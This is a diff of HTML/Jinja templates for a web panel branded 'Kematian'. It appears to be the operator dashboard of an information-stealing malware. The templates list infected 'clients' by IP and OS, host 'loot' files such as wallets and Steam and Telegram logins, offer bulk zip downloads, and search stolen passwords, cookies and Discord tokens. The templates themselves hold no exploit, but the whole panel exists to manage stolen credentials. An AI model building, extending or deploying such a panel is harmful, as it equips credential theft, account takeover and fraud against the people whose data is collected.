<td><a href="{{ url_for('client_detail', client_id=c.client_id) }}" class="mono client-link">{{ c.client_id }}</a></td>
|
||||
<td class="mono">{{ c.ip or '—' }}</td>
|
||||
<td>{{ c.os or '—' }} {{ c.arch or '' }}</td>
|
||||
<td><span class="chip chip-green">{{ c.total_entries }}</span></td>
|
||||
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('client_detail', client_id=c.client_id) }}">View</a></td>
|
||||
</tr>
|
||||
{% else %}
|
||||
<tr><td colspan="6" class="empty">No clients yet. Data lands here when the agent posts.</td></tr>
|
||||
{% endfor %}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
window.addEventListener("DOMContentLoaded", () => {
|
||||
const PURPLE = "#a855f7";
|
||||
const PURPLE2 = "#7c3aed";
|
||||
const grid = "rgba(255,255,255,0.05)";
|
||||
const labels = {{ chart_labels | tojson }};
|
||||
const values = {{ chart_values | tojson }};
|
||||
const icons = {{ chart_icons | tojson }};
|
||||
|
||||
// Activity Overview — t.me/electronic_sex
|
||||
const ctxA = document.getElementById("activityChart");
|
||||
if (ctxA) {
|
||||
new Chart(ctxA, {
|
||||
type: "line",
|
||||
data: {
|
||||
labels: labels,
|
||||
datasets: [{
|
||||
label: "Entries",
|
||||
data: values,
|
||||
borderColor: PURPLE,
|
||||
backgroundColor: "rgba(168,85,247,0.12)",
|
||||
fill: true,
|
||||
tension: 0.4,
|
||||
pointBackgroundColor: PURPLE,
|
||||
pointBorderColor: "#0a0a0f",
|
||||
pointBorderWidth: 2,
|
||||
pointRadius: 4,
|
||||
}]
|
||||
},
|
||||
options: {
|
||||
responsive: true, maintainAspectRatio: false,
|
||||
plugins: { legend: { display: false } },
|
||||
scales: {
|
||||
x: { ticks: { color: "#8b8b98", maxRotation: 45, minRotation: 0, font: { size: 10 } }, grid: { color: grid } },
|
||||
y: { ticks: { color: "#8b8b98", font: { size: 11 } }, grid: { color: grid }, beginAtZero: true }
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Data Distribution — donut
|
||||
const ctxD = document.getElementById("distChart");
|
||||
if (ctxD) {
|
||||
const palette = ["#a855f7","#7c3aed","#c084fc","#9333ea","#6d28d9","#d8b4fe","#8b5cf6","#a78bfa"];
|
||||
new Chart(ctxD, {
|
||||
type: "doughnut",
|
||||
data: {
|
||||
labels: labels,
|
||||
datasets: [{
|
||||
data: values,
|
||||
backgroundColor: palette,
|
||||
borderColor: "#131318",
|
||||
borderWidth: 3,
|
||||
hoverOffset: 6,
|
||||
}]
|
||||
},
|
||||
options: {
|
||||
responsive: true, maintainAspectRatio: false,
|
||||
cutout: "62%",
|
||||
plugins: {
|
||||
legend: { position: "bottom", labels: { color: "#8b8b98", boxWidth: 12, padding: 10, font: { size: 10 } } }
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
</script>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,73 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}FileShare · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1>File<span class="accent">Share</span></h1>
|
||||
<p class="muted">Hosted login files (wallets, Steam, Telegram) + your own uploads. Click a file to download, or copy its direct link.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="upload-card">
|
||||
<h2>Upload a file</h2>
|
||||
<form method="post" action="{{ url_for('fileshare_upload') }}" enctype="multipart/form-data" class="upload-form">
|
||||
<label>File</label>
|
||||
<input type="file" name="file" required>
|
||||
<label>Category <span class="muted">(optional)</span></label>
|
||||
<input type="text" name="category" value="upload" placeholder="upload" style="max-width:200px">
|
||||
<button type="submit" class="btn btn-primary">Upload</button>
|
||||
</form>
|
||||
<p class="hint">Uploaded files are stored under <code>panel/loot/upload/</code> and get a shareable link.</p>
|
||||
</div>
|
||||
|
||||
<h2 class="section-title">Hosted files <span class="muted">({{ blobs|length }})</span></h2>
|
||||
<div class="table-card">
|
||||
<table>
|
||||
<thead><tr><th>Client</th><th>File</th><th>Type</th><th>Size</th><th></th></tr></thead>
|
||||
<tbody>
|
||||
{% for b in blobs %}
|
||||
<tr>
|
||||
<td>{% if b.client_id == 'upload' %}<span class="tag">upload</span>{% else %}<a href="{{ url_for('client_detail', client_id=b.client_id) }}" class="mono client-link">{{ b.client_id }}</a>{% endif %}</td>
|
||||
<td class="mono"><a href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">{{ b.filename }}</a></td>
|
||||
<td><span class="tag">{{ b.category or '—' }}</span></td>
|
||||
<td class="mono">{{ (b.size | filesize) }}</td>
|
||||
<td>
|
||||
<a class="btn btn-ghost btn-sm" href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Download</a>
|
||||
<button type="button" class="btn btn-ghost btn-sm copy-link" data-url="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Copy link</button>
|
||||
</td>
|
||||
</tr>
|
||||
{% else %}
|
||||
<tr><td colspan="5" class="empty">No files shared yet.</td></tr>
|
||||
{% endfor %}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<h2 class="section-title">Clients with files</h2>
|
||||
<div class="grid">
|
||||
{% for cid, items in by_client.items() %}
|
||||
<a class="type-card" href="{{ url_for('client_loot', client_id=cid) }}">
|
||||
<img src="{{ url_for('static', filename='icons/files.svg') }}" class="type-ico" alt="">
|
||||
<div class="type-body">
|
||||
<div class="type-label mono">{{ 'your uploads' if cid == 'upload' else cid }}</div>
|
||||
<div class="type-count">{{ items }} file{{ '' if items == 1 else 's' }}</div>
|
||||
</div>
|
||||
</a>
|
||||
{% else %}
|
||||
<p class="muted">No client has hosted files.</p>
|
||||
{% endfor %}
|
||||
</div>
|
||||
|
||||
<script>
|
||||
document.addEventListener("click", (e) => {
|
||||
const btn = e.target.closest(".copy-link");
|
||||
if (!btn) return;
|
||||
const url = new URL(btn.dataset.url, window.location.origin).href;
|
||||
navigator.clipboard.writeText(url).then(() => {
|
||||
const prev = btn.textContent;
|
||||
btn.textContent = "copied ✓";
|
||||
setTimeout(() => { btn.textContent = prev; }, 900);
|
||||
}).catch(() => {});
|
||||
});
|
||||
</script>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,19 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Login · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="auth-wrap">
|
||||
<form class="auth-card" method="post" action="{{ url_for('login', next=request.args.get('next')) }}">
|
||||
<div class="auth-logo">☠</div>
|
||||
<h1>kematian<span class="accent">panel</span></h1>
|
||||
<p class="auth-sub">Admin login</p>
|
||||
|
||||
<label>Username</label>
|
||||
<input type="text" name="username" required autofocus placeholder="admin">
|
||||
|
||||
<label>Password</label>
|
||||
<input type="password" name="password" required placeholder="••••••••">
|
||||
|
||||
<button type="submit" class="btn btn-primary">Sign in</button>
|
||||
</form>
|
||||
</div>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,32 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Loot · {{ client_id }} · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1>Files <span class="accent">· {{ client_id }}</span></h1>
|
||||
<p class="muted">Hosted login files (wallets, Steam, Telegram) — click to download.</p>
|
||||
</div>
|
||||
<div class="head-actions">
|
||||
<a class="btn btn-primary" href="{{ url_for('loot_zip', client_id=client_id) }}">Download all (.zip)</a>
|
||||
<a class="btn btn-ghost" href="{{ url_for('client_detail', client_id=client_id) }}">Back to client</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="table-card">
|
||||
<table>
|
||||
<thead><tr><th>File</th><th>Type</th><th>Size</th><th></th></tr></thead>
|
||||
<tbody>
|
||||
{% for b in blobs %}
|
||||
<tr>
|
||||
<td class="mono"><a href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">{{ b.filename }}</a></td>
|
||||
<td><span class="tag">{{ b.category or '—' }}</span></td>
|
||||
<td class="mono">{{ (b.size | filesize) }}</td>
|
||||
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Download</a></td>
|
||||
</tr>
|
||||
{% else %}
|
||||
<tr><td colspan="4" class="empty">No hosted files for this client yet.</td></tr>
|
||||
{% endfor %}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,29 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Loot · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1>Loot</h1>
|
||||
<p class="muted">All hosted files (wallets, Steam, Telegram) across every client.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="table-card">
|
||||
<table>
|
||||
<thead><tr><th>Client</th><th>File</th><th>Type</th><th>Size</th><th></th></tr></thead>
|
||||
<tbody>
|
||||
{% for b in blobs %}
|
||||
<tr>
|
||||
<td><a href="{{ url_for('client_detail', client_id=b.client_id) }}" class="mono client-link">{{ b.client_id }}</a></td>
|
||||
<td class="mono"><a href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">{{ b.filename }}</a></td>
|
||||
<td><span class="tag">{{ b.category or '—' }}</span></td>
|
||||
<td class="mono">{{ (b.size | filesize) }}</td>
|
||||
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Download</a></td>
|
||||
</tr>
|
||||
{% else %}
|
||||
<tr><td colspan="5" class="empty">No hosted files yet. They appear when a client reports wallets/Steam/Telegram.</td></tr>
|
||||
{% endfor %}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,34 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Search · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1>Search</h1>
|
||||
<p class="muted">Look for anything across passwords, cookies, and discord tokens.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<form class="search-bar" method="get" action="{{ url_for('search') }}">
|
||||
<input type="text" name="q" value="{{ q }}" placeholder="Search username, url, host, token..." autofocus>
|
||||
<button type="submit" class="btn btn-primary">Search</button>
|
||||
</form>
|
||||
|
||||
{% if q %}
|
||||
<div class="table-card">
|
||||
<table>
|
||||
<thead><tr><th>Type</th><th>Detail</th><th>Client</th></tr></thead>
|
||||
<tbody>
|
||||
{% for r in results %}
|
||||
<tr>
|
||||
<td>{{ r.type }}</td>
|
||||
<td class="mono">{{ r.detail }}</td>
|
||||
<td><a href="{{ url_for('client_detail', client_id=r.client) }}" class="mono client-link">{{ r.client }}</a></td>
|
||||
</tr>
|
||||
{% else %}
|
||||
<tr><td colspan="3" class="empty">No matches for "{{ q }}".</td></tr>
|
||||
{% endfor %}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
{% endif %}
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,20 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Setup · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="auth-wrap">
|
||||
<form class="auth-card" method="post">
|
||||
<div class="auth-logo">☠</div>
|
||||
<h1>Create <span class="accent">admin</span></h1>
|
||||
<p class="auth-sub">One-time setup — runs only once</p>
|
||||
|
||||
<label>Username</label>
|
||||
<input type="text" name="username" required autofocus placeholder="admin">
|
||||
|
||||
<label>Password</label>
|
||||
<input type="password" name="password" required placeholder="min 6 chars">
|
||||
|
||||
<button type="submit" class="btn btn-primary">Create & continue</button>
|
||||
<a href="{{ url_for('login') }}" class="auth-link">Back to login</a>
|
||||
</form>
|
||||
</div>
|
||||
{% endblock %}
|
||||